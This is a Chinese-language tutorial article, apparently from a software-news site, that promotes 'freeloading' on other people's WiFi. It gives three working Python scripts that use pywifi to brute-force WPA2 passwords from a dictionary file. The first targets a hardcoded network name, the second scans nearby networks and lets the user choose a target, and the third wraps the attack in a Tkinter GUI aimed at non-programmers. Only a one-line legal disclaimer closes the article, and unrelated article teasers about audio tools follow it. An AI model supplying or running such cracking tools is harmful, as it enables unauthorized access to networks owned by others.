百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 软件资讯 > 正文

Python暴力破解WiFi密码,这个脚本让你轻松蹭网!

ninehua 2025-04-06 19:33 17 浏览

出门在外,碰上信号不好的时候,大家肯定都遇到过没法上网的尴尬时刻。尤其是遇到WiFi信号满格,但却被密码拦住时,总让人忍不住想蹭网。

那如何通过Python脚本暴力破解WiFi密码,完成“机智蹭网”呢?今天我们就来深入探讨一下如何用Python实现WiFi密码的暴力破解。

没有图形界面的简单爆破脚本

首先来看看一个没有图形界面的基础版WiFi破解脚本。通过 pywifi 模块,我们可以操控无线网卡进行WiFi连接。脚本会自动读取一个密码字典并逐个尝试,直到找到正确的密码。

import pywifi
from pywifi import const
import time
import datetime


# 测试连接,返回连接结果
def wifiConnect(pwd):
  wifi = pywifi.PyWiFi()
  ifaces = wifi.interfaces()[0]
  ifaces.disconnect()
  time.sleep(1)
  wifistatus = ifaces.status()


  if wifistatus == const.IFACE_DISCONNECTED:
      profile = pywifi.Profile()
      profile.ssid = "Tr0e" # 需要破解的WiFi名称
      profile.auth = const.AUTH_ALG_OPEN
      profile.akm.append(const.AKM_TYPE_WPA2PSK)
      profile.cipher = const.CIPHER_TYPE_CCMP
      profile.key = pwd
      ifaces.remove_all_network_profiles()
      tep_profile = ifaces.add_network_profile(profile)
      ifaces.connect(tep_profile)
      time.sleep(2)
       
      if ifaces.status() == const.IFACE_CONNECTED:
          return True
      else:
          return False
  else:
      print("已有WiFi连接")


# 读取密码本进行暴力破解
def readPassword():
  success = False
  print("********** 开始破解WiFi **********")
  path = "pwd.txt"
  file = open(path, "r")
  start = datetime.datetime.now()


  while True:
      try:
          pwd = file.readline().strip('\n')
          bool = wifiConnect(pwd)
          if bool:
              print(f"[*] 密码已破解:{pwd}")
              print("[*] WiFi已自动连接!")
              success = True
              break
          else:
              print(f"正在尝试密码:{pwd}")
      except:
          continue


  end = datetime.datetime.now()
  print(f"[*] 破解完成,耗时:{end - start}" if success else "[*] 未能破解成功,请更换密码字典!")
  exit(0)


if __name__ == "__main__":
  readPassword()

这个脚本通过 pywifi 模块操控无线网卡并不断尝试密码,直到找到正确的WiFi密码。你只需准备一个包含各种常见密码的字典文件,然后让脚本从中挑选可能的密码进行尝试。

优化脚本:扫描附近WiFi

为了让脚本更灵活,我们对其进行了改进,增加了WiFi扫描功能,允许用户选择想要破解的WiFi并自定义密码字典。

import pywifi
import time
from pywifi import const


# WiFi扫描模块
def wifi_scan():
  wifi = pywifi.PyWiFi()
  interface = wifi.interfaces()[0]
  interface.scan()
  time.sleep(3)
  bss = interface.scan_results()


  wifi_name_list = []
  for w in bss:
      wifi_name_and_signal = (100 + w.signal, w.ssid)
      wifi_name_list.append(wifi_name_and_signal)
   
  wifi_name_list = sorted(wifi_name_list, key=lambda x: x[0], reverse=True)


  print("扫描完成,找到以下WiFi:")
  for num, wifi in enumerate(wifi_name_list):
      print(f"{num}. {wifi[1]} 信号强度: {wifi[0]}")


  return wifi_name_list


# WiFi破解模块
def wifi_password_crack(wifi_name):
  wifi_dic_path = input("请输入密码字典路径:")
  with open(wifi_dic_path, 'r') as f:
      for pwd in f:
          pwd = pwd.strip('\n')
          wifi = pywifi.PyWiFi()
          interface = wifi.interfaces()[0]
          interface.disconnect()
          time.sleep(1)
          profile = pywifi.Profile()
          profile.ssid = wifi_name
          profile.auth = const.AUTH_ALG_OPEN
          profile.akm.append(const.AKM_TYPE_WPA2PSK)
          profile.cipher = const.CIPHER_TYPE_CCMP
          profile.key = pwd
          interface.remove_all_network_profiles()
          tmp_profile = interface.add_network_profile(profile)
          interface.connect(tmp_profile)


          time.sleep(2)
          if interface.status() == const.IFACE_CONNECTED:
              print(f"成功破解,密码为:{pwd}")
              exit(0)
          else:
              print(f"尝试密码 {pwd} 失败。")


# 主函数
def main():
  wifi_list = wifi_scan()
  wifi_index = int(input("请选择想要破解的WiFi编号:"))
  wifi_password_crack(wifi_list[wifi_index][1])


if __name__ == '__main__':
  main()

该脚本扫描附近WiFi并允许用户选择要破解的网络,极大地提高了灵活性和用户体验。通过自定义密码字典文件,用户还可以在暴力破解过程中根据具体情况调整密码尝试策略。

提升用户体验:图形化界面

为了让工具更方便使用,我们可以进一步改进,使用 Tkinter 创建一个简易的图形化界面,使得非技术用户也可以轻松使用。

from tkinter import *
import pywifi
from pywifi import const
import time


def readPwd():
  wifi_name = entry.get().strip()
  path = './pwd.txt'
  file = open(path, 'r')


  while True:
      pwd = file.readline().strip()
      if not pwd:
          break
      wifi = pywifi.PyWiFi()
      iface = wifi.interfaces()[0]
      iface.disconnect()
      time.sleep(1)
      profile = pywifi.Profile()
      profile.ssid = wifi_name
      profile.auth = const.AUTH_ALG_OPEN
      profile.akm.append(const.AKM_TYPE_WPA2PSK)
      profile.cipher = const.CIPHER_TYPE_CCMP
      profile.key = pwd
      iface.remove_all_network_profiles()
      tmp_profile = iface.add_network_profile(profile)
      iface.connect(tmp_profile)
      time.sleep(2)


      if iface.status() == const.IFACE_CONNECTED:
          text.insert(END, f'密码正确:{pwd}\n')
          break
      else:
          text.insert(END, f'尝试密码:{pwd} 失败\n')
      text.see(END)
      text.update()


root = Tk()
root.title("WiFi破解")
root.geometry("500x400")


Label(root, text="输入WiFi名称:").grid()
entry = Entry(root, font=("微软雅黑", 14))
entry.grid(row=0, column=1)


text = Listbox(root, font=("微软雅黑", 14), width=40, height=10)
text.grid(row=1, columnspan=2)


Button(root, text="开始破解", command=readPwd).grid(row=2, columnspan=2)


root.mainloop()

这个小工具通过 Tkinter 创建了一个简易的界面,让你输入WiFi名称并开始暴力破解过程。整个界面简洁直观,适合不擅长编程的用户使用。

总结

通过这篇文章,我们从基础的Python WiFi暴力破解脚本开始,逐步优化到扫描WiFi、选择目标网络并最终实现了图形化界面。无论你是喜欢简单的命令行脚本,还是偏好图形化的工具,这些代码都能为你提供不同场景下的解决方案。

当然,本文的学习目的是技术探索,使用这些工具时请遵守法律与道德规范,切勿非法破解他人WiFi!

相关推荐

手机如何将音乐转换成mp3格式?本文为您详细解答

随着数字音乐的发展,音乐格式的转换变得越来越常见。mp3作为一种主流的音乐格式,具有出色的兼容性和便携性,成为许多人的首选。那么,如何将手机中的音乐转换成mp3格式呢?本文将为您详细解答。一、工具介...

变声器免费的直接说话的那种!不整虚的,一键变声!好听!

听说网络上一堆推荐软件测评的,一半斗志推销自己家的软件,好不好用其次,关键是名声已经在外!今天俺老孙也不整这些虚的,直接上干货,测评2024最新的电脑变声软件,帮助大家了解这六款国内外不同系统下,既免...

免费音频格式转换网站大分享!安全可靠!绿色纯净!

在数字音乐的世界里,音频格式转换成为了一个非常普遍的需求。不同的设备和平台可能需要不同的音频格式来播放,因此,一个方便、安全、可靠的音频格式转换工具就显得尤为重要。本文将为你分享一些免费的音频格式转换...

有没有免费的伴奏提取软件?快来看看这7款音频软件

随着自媒体时代发展,提取伴奏成为了现在很多喜爱音乐的宝子们的一个需求,还在网上苦苦查找关于伴奏提取的免费软件,本文就为大家搜罗了几个免费的伴奏提取软件,希望可以帮到你。话不多说,下面我们一起来看看具体...

手机怎么把音乐转换成mp3格式?3种方法

不同的音乐平台下载的音频格式都不一样,有些音频格式不支持在手机上直接播放,需要转换为mp3这种广泛支持的音频格式,各种设备都可以无缝衔接,那么如何在手机上将音乐转换成mp3格式呢?下面是值得推荐的几种...

免费剪辑音频的软件分享:新媒体人内部流传的12款神器

在新媒体领域,音频内容的制作与剪辑已经成为一项不可或缺的技能。今天,我将为大家分享12款简单好用且免费的音频剪辑软件,以及它们的详细操作步骤,希望能为大家的创作之路添砖加瓦。剪辑歌曲免费软件一、闪电音...

好用的视频变声软件有哪些?这7个变声软件不要错过(收藏)

好用的视频变声软件有哪些?不知道大家在刷短视频平台的时候有没有发现很多博主都很少用原声出镜,都是用处理过的声音来给视频进行配音,这样的声音会给视频画面增加更多趣味,吸引人看下去。那么我们要怎么给视频变...

MP3剪辑从入门到精通全攻略,不能错过这6个音频剪辑软件(全)

MP3音频剪辑怎么操作呢?随着互联网的发展,大家都很喜欢从网上下载歌曲当作手机铃声,但是网上下载的歌曲时长太长,要怎么截取其中的一小部分当作铃声呢?还有些小伙伴想要将多个MP3音频剪辑拼接在一起,不知...

免费变声器(开麦就变声),不用会员实时变声器归纳分享

想要一款免费变声器(开麦就变声)的软件,不需要开通各种会员,直接讲话就可以实时变声的变声器归纳总结来咯!变声器软件是我们下班后追求娱乐、保护隐私或提升创意表达的必备工具,本文将为您归纳分享6款无需会员...

转换mp3格式免费版app好用吗?麻烦推荐几款!不想花钱!

手机上这么多播放器下载的歌曲格式都不一样,想要二次创作都很费劲,怎么解决?可以使用手机音频格式转换app进行统一格式,例如mp3格式,其兼容性强、文件体积小等特点,成为了日常方便使用的音频格式。目前手...

伴奏提取免费软件?手机重度用户必备10款人声分离伴奏提取APP!

随着移动设备(手机)的深入,音频剪辑处理技术的不断发展,手机也逐渐成为音乐制作和歌曲细致处理的发力军。对于手机重度用户来说,如何找到一款功能强大、操作简便的伴奏提取软件就显得非常重要和难求了。本文将为...

一句话暴露!你是不是体制内“自己人”

体制内的朋友们,我们在体制内混久了,说话做事都自带独特“印记”,常常一句话,就能让人秒懂你的工作身份。今天我们就来聊一下,那些一听就知道是体制内人的神奇话语。“收到,马上落实!”这回复速度和干脆劲...

行政牛马生存指南之:如何在公文写作上修炼成精

作为在神秘东方大国某500强公文流水线上拧过6年螺丝的老黄牛,今天带各位行政牛马见识下,如何在公文写作上修炼成精之--原来拟定一篇公文管理制度这么简单。【首先:要看懂公文江湖黑话】"请相关部门协同推进...

为什么win10、win11不能正常显示仿宋_GB2312字体格式

很多人发现新系统的仿宋_GB2312字体在OfficeWord里以默认的微软雅黑代替显示了,他们以为这是因为系统里只有仿宋字体,缺少仿宋_GB2312的缘故,于是下载仿宋_GB2312字体安装,结果...

新华社、人民日报、央视官方微信点赞,“菏泽好邻居”让全国人民羡慕

齐鲁网·闪电新闻5月5日讯俗话说“远亲不如近邻”。邻里间的互动,有时候可谓非常有趣。近日,山东菏泽“致楼上邻居的一封信”在网上走红。‘一位热心又专业的邻居老王,写信对邻居练钢琴,提出了一些“指导意见...